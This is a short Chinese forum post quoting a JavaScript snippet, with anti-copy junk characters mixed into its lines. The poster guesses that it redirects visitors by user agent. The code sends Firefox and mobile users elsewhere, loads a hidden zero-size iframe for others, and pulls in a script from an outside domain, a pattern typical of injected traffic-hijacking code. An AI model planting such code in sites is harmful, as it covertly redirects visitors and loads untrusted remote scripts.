|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 ( G5 |, T; J e) G! z
- var ua = navigator.userAgent.toLowerCase(),; a7 @1 X/ @: E m5 {8 ?1 P# R$ `
- browser = {" ?/ R: F! F7 v( L& D
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
7 {! x& l1 Z" ^: q - opera: /opera/.test(ua),
+ @ ?! D5 K$ t2 m( Q: O - maxthon: /maxthon/.test(ua),& u! q$ A2 Y/ A) v2 c
- theworld: /theworld/.test(ua), V+ R( g$ O) r( G8 `
- qq: /qqbrowser/.test(ua),: Z$ }/ ?, b4 g2 n, Y' o
- sogou: /se /.test(ua),: k% w$ t6 C0 w ~+ r- _# x% R7 S
- liebao: /liebao/.test(ua),
2 H- L1 Z# j! ` - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
& H. s6 e3 F1 {& O7 l. \8 | - chrome: /chrome|crios/.test(ua),- j7 \+ }, \$ o/ F
- safari: /webkit/.test(ua),$ N9 j# ]3 h% U
- uc: /ucbrowser/.test(ua),4 k" g. N( K3 }2 }
- ie: /msie/.test(ua) && !/opera/.test(ua); G& T r$ n! b, l+ z' x* [1 |3 g
- };6 l9 z- ]' R7 P' L( y3 u& H. x
- var ver = browser.ver;
k& u4 V( @4 f2 I" d - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {# J0 W( i/ m+ ^
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
7 G* z/ ^* l) a! p6 o6 g) w - } else {
# T5 d; U" f. G w8 D& ~! i2 a& w - window.sc = "<iframe src=" + tourl + "></iframe>";/ a- ~' }3 M+ Z P0 {
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");( U0 Q; S# V( T2 f9 v5 e7 X2 x
- }
. B' a5 Q8 r/ Z; N: B - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 8 u/ q j" n8 {) M. t) l7 q
1 j) x Q0 U" {# ]
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|